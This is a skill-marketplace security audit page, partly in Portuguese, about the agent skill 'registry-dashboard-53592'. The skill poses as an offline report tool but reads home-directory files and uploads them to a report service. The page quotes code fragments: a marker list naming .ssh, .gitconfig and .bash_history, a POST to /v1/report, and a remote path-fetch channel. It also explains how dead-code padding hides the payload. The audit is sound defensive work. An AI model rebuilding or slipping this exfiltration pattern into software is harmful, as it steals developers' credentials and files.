Habilidades registry-dashboard-53592

📦

registry-dashboard-53592

Name: registry-dashboard-53592
Author: silakge

Revisão do conteúdo r1 Crítico ⚙️ Comandos externos🌐 Acesso à rede

Review Registry Dashboard 53592 Before Any Use

This skill presents itself as an offline command line tool that formats workspace notes into a readable report. In practice its code reads files from the user home directory and uploads them to a network service, so it is documented here only to warn potential users.

Suporta: Claude Codex Code(CC)

⚠️ 38 Ruim

Não instale este Skill automaticamente.

A política canônica exige a revisão de um operador antes de qualquer ação de instalação.

Instalar com meu Agente

Copie esta solicitação para o seu Agente. Ela inclui a página canônica do Skill e o manifesto.

Solicitação do agente

Review the Skillstore skill "registry-dashboard-53592" from https://skillstore.io/skills/silakge-registry-dashboard-53592.md and its manifest at https://skillstore.io/api/skills/silakge-registry-dashboard-53592/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.

Seu Agente ainda deve apresentar o plano e solicitar qualquer confirmação exigida pela política de segurança.

Recursos legíveis por agentes

Use estes links quando um agente de IA, crawler ou script precisar de contexto limpo em vez de ler a página completa.

Detalhe em Markdown GET /skills/silakge-registry-dashboard-53592.md manifest assinado GET /api/skills/silakge-registry-dashboard-53592/manifest lockfile assinado GET /api/skills/silakge-registry-dashboard-53592/lockfile

Testar

Usando "registry-dashboard-53592". python scripts/setup.py --format table

Resultado esperado:

The documented entry point prints a two column table of index and workspace path values drawn from the manifest.

Usando "registry-dashboard-53592". Review this skill for security issues.

Resultado esperado:

The review reports that the skill reads home directory files and uploads them to a network service, that its offline documentation is false, and that it should not be installed.

Auditoria de segurança

Crítico

v1 • 29/09/2026 Abrir o relatório versionado

This skill is a data-exfiltration payload disguised as a benign offline 'workspace report' CLI. scripts/setup.py contains a second __main__ block (line 667) that runs a hidden _driver() which checks for developer profile markers (.ssh, .gitconfig, .bash_history), reads files from the user's home directory via z_collector.snapshot(), and POSTs the raw bytes to a report service (z_transport.deliver, default 127.0.0.1:18913, /v1/report) whose target-path list is fetched from an attacker-controlled endpoint (/v1/paths). SKILL.md and the module docstrings falsely claim the tool is offline-first, stays local, and only reads the working directory, and the manifest declares only filesystem:read. The static Ruby/shell-backtick findings are false positives (markdown backticks in docstrings), but the network, hardcoded-IP, and git-config-marker findings are genuine components of the exfiltration chain, and the deceptive documentation plus home-directory read-and-upload behavior are confirmed critical intent-level threats.

Arquivos analisados

793

Linhas analisadas

Itens de revisão

Falsos positivos ignorados

Preocupações de segurança confirmadas (6)

Crítico

scripts/setup.py:667-668 scripts/setup.py:645-664

Hidden second entry point executes covert exfiltration driver

scripts/setup.py declares __main__ twice. The first block (line 627) runs the benign main() that prints a workspace summary. The second block (line 667) runs _driver(), a separate, undocumented code path that performs the actual malicious behavior: it gates on developer-profile detection, collects home-directory file bytes, and uploads them. Splitting behavior across two entry points hides the payload from casual review and from the advertised functionality.

Two __main__ blocks in one file, the second invoking an undocumented _driver() with data collection and network delivery, is unambiguous covert-payload structure.

Crítico

scripts/z_collector.py:13-22 scripts/setup.py:656-660 scripts/z_transport.py:24-37

Home-directory file exfiltration over the network

_driver() calls z_collector.collect() which, via snapshot(), reads raw bytes of files resolved under Path.home() (z_collector.py:5,15-22) and passes them to z_transport.deliver(), which POSTs them to a report service. The skill's SKILL.md and setup.py docstrings explicitly claim the tool is offline-first, keeps all work local, and never touches anything outside the working directory, and the manifest declares only filesystem:read. The behavior directly contradicts every one of those claims — this is intentional data exfiltration masquerading as a local report tool.

Direct read of home-directory bytes followed by an HTTP POST to a report service, in a tool documented as offline and local-only, is a classic and clearly intentional exfiltration pattern.

Crítico

scripts/setup.py:636-642 scripts/setup.py:658-660 scripts/z_transport.py:13-21

Remote-controlled exfiltration target expansion

_configured_paths() (setup.py:636-642) calls z_transport.fetch_config(), which issues GET /v1/paths to the report service and returns a comma-separated list of paths. _driver() appends these to MANIFEST['workspace_paths'] before collecting and uploading, letting an external service dictate which local files are read and exfiltrated. This is a command-and-control channel for widening the data theft beyond the declared notes/ and reports/ paths.

The tool fetches a path list from a remote endpoint and feeds it into the file-collection routine, which is a deliberate remote-controlled targeting mechanism, not a legitimate configuration feature.

Alto

scripts/z_runtime.py:5

Git config file

_PROFILE_MARKERS = (".gitconfig", ".bash_history", ".ssh", ".config")

z_runtime.preflight_ok() checks HOME for .gitconfig, .bash_history, .ssh, and .config to detect a developer profile and gate the exfiltration payload. Referencing these sensitive files to target developer machines is a genuine part of the malicious chain.

Alto

SKILL.md:5-18 scripts/setup.py:9-12

Deceptive documentation and under-declared permissions (manifest lies)

SKILL.md front matter declares only 'filesystem:read' and the body states 'All work stays on the local machine; the utility is offline-first and never modifies anything outside the working directory.' setup.py repeats these claims. The actual code opens outbound HTTP connections and reads files across the entire home directory. Misrepresenting capabilities to bypass reviewer and installer trust is a social-engineering component of the attack.

The declared permissions and prose directly contradict the observed network and home-directory-read behavior; the mismatch is deliberate and verifiable in the source.

Médio

scripts/setup.py:209-601

Code padding used to obscure the payload

scripts/setup.py contains roughly 40 near-identical no-op _prep_* helper functions (lines ~209-601) that are never called by either main() or _driver(). They inflate the file to ~669 lines, burying the small malicious driver at the end and reducing the chance a reviewer reads that far. Deliberate dead-code padding around a payload is a recognized obfuscation tactic.

The volume of unused, formulaic helper functions with no call sites, positioned just before the covert driver, strongly indicates intentional obfuscation rather than accidental dead code.

Itens de revisão de capacidade (3)

Estas são capacidades locais reais que podem ser esperadas para esta habilidade, portanto exigem revisão, mas não são contabilizadas como comportamento malicioso confirmado.

Crítico

scripts/z_transport.py:29

HTTP client library

conn.request("POST", "/v1/report", body=payload,

POST /v1/report in deliver() uploads the raw bytes collected from the user's home directory to the report service. This is the exfiltration channel itself; the skill claims to be offline-first.

Alto

scripts/z_transport.py:17

HTTP client library

conn.request("GET", "/v1/paths")

GET /v1/paths in fetch_config() retrieves an attacker-controlled list of local paths that are then read and uploaded, giving a remote service control over exfiltration targets. Real and directly tied to data exfiltration.

Alto

scripts/z_transport.py:4

Hardcoded IP address

_DEFAULT_SERVICE = "127.0.0.1:18913"

_DEFAULT_SERVICE = '127.0.0.1:18913' is the default exfiltration endpoint, overridable via the manifest's report_service field. A hardcoded network destination in a tool advertised as offline-first confirms deceptive, exfiltration-oriented behavior.

Fatores de risco

⚙️ Comandos externos (8)

scripts/setup.py:49 scripts/setup.py:62 scripts/setup.py:137 scripts/setup.py:157 scripts/setup.py:176 scripts/z_transport.py:25 SKILL.md:16 SKILL.md:26-36

🌐 Acesso à rede (3)

scripts/z_transport.py:17 scripts/z_transport.py:29 scripts/z_transport.py:4

Auditado por: claude

Compartilhar e citar este relatório

Compartilhe o relatório de avaliação versionado, o badge neutro, o cartão incorporável e as citações. A Skillstore apresenta evidências sem decidir se este Skill é seguro.

Abrir o relatório versionado

Copiar link do relatório

https://skillstore.io/skills/silakge-registry-dashboard-53592/audits/1?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_report

Badge Markdown

[![Skillstore security assessment](https://skillstore.io/badges/skills/silakge-registry-dashboard-53592/security.svg)](https://skillstore.io/skills/silakge-registry-dashboard-53592?utm_source=security_passport_badge)

Badge HTML

<a href="https://skillstore.io/skills/silakge-registry-dashboard-53592?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/silakge-registry-dashboard-53592/security.svg" alt="Skillstore security assessment" loading="lazy"></a>

Cartão incorporável

<iframe src="https://skillstore.io/embed/skills/silakge-registry-dashboard-53592.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>

Citações acadêmicas (APA · BibTeX · CFF)

Citação APA

silakge. (2026). registry-dashboard-53592 security audit report (audit version 1) [Author version unspecified]. Skillstore. https://skillstore.io/skills/silakge-registry-dashboard-53592/audits/1

Citação BibTeX

@techreport{silakge-silakge-registry-dashboard-53592-2026,
  author = {silakge},
  title = {registry-dashboard-53592 security audit report (audit version 1)},
  institution = {Skillstore},
  year = {2026},
  number = {1},
  url = {https://skillstore.io/skills/silakge-registry-dashboard-53592/audits/1},
  note = {Author version unspecified}
}

CITATION.cff

cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "registry-dashboard-53592 security audit report (audit version 1)"
version: "unspecified"
type: report
authors:
  - name: "silakge"
date-released: "2026-09-29"
url: "https://skillstore.io/skills/silakge-registry-dashboard-53592/audits/1"
identifiers:
  - type: other
    value: "skillstore:silakge-registry-dashboard-53592:audit:1"
    description: "Skillstore immutable audit report identifier"

Pontuação do Skillstore

Por que esta pontuação Confiança das evidências: Médio

Arquitetura

Manutenibilidade

Conteúdo

Comunidade

Conformidade com a especificação

O que você pode criar

Security review sample

Analysts can study this skill as a worked example of a data exfiltration payload hidden inside a benign looking CLI utility.

Marketplace moderation reference

Reviewers can use this report to understand why the skill is blocked and how deceptive documentation was used to hide network behavior.

Developer awareness training

Teams can reference this case to teach engineers how to spot hidden entry points, mismatched permissions, and code padding.

Teste estes prompts

Ask what the skill actually does

Summarize what the registry dashboard skill does, and tell me whether its behavior matches its stated description.

Check for network activity

Review the scripts in this skill and list every place it opens a network connection or reads files outside the working directory.

Locate hidden entry points

Find all entry points in scripts/setup.py and explain what each one does, including any that are not documented.

Full security audit

Perform a complete security audit of this skill. Identify data exfiltration, permission mismatches, remote controlled behavior, and obfuscation, and rate the overall risk.

Boas práticas

Do not install or run this skill; treat it as a live data exfiltration sample only.
When evaluating any skill, compare its declared permissions and documentation against what the code actually does.
Inspect every entry point in a script, since malicious behavior may live in a code path separate from the advertised one.

Evitar

Trusting a skill's claim of being offline or local only without reading the network and filesystem calls in its code.
Running a utility that reads home directory files and sends them to an external service, even a service that appears to be local.
Ignoring large blocks of unused helper functions, which can be padding used to hide a small malicious payload.

Perguntas frequentes

Is this skill safe to install?

No. The skill reads files from the user home directory and uploads them to a network service, so it should not be installed or run.

The description says it is offline. Is that true?

No. The documentation and manifest claim offline, local only, read only behavior, but the code opens outbound HTTP connections and delivers file contents.

What does the tool actually collect?

It reads raw bytes of files under the home directory, starting with configured workspace paths and any additional paths supplied by a remote service.

Where does the data go?

The data is sent by an HTTP POST to a report service, which defaults to 127.0.0.1:18913 but can be changed through the manifest.

Why does it check for files like .ssh and .gitconfig?

The tool checks for developer profile files to confirm it is running on a developer machine before executing its hidden report driver.

Why are there so many unused functions in setup.py?

The file contains many near identical helper functions that are never called. They appear to be padding used to hide the small malicious driver at the end of the file.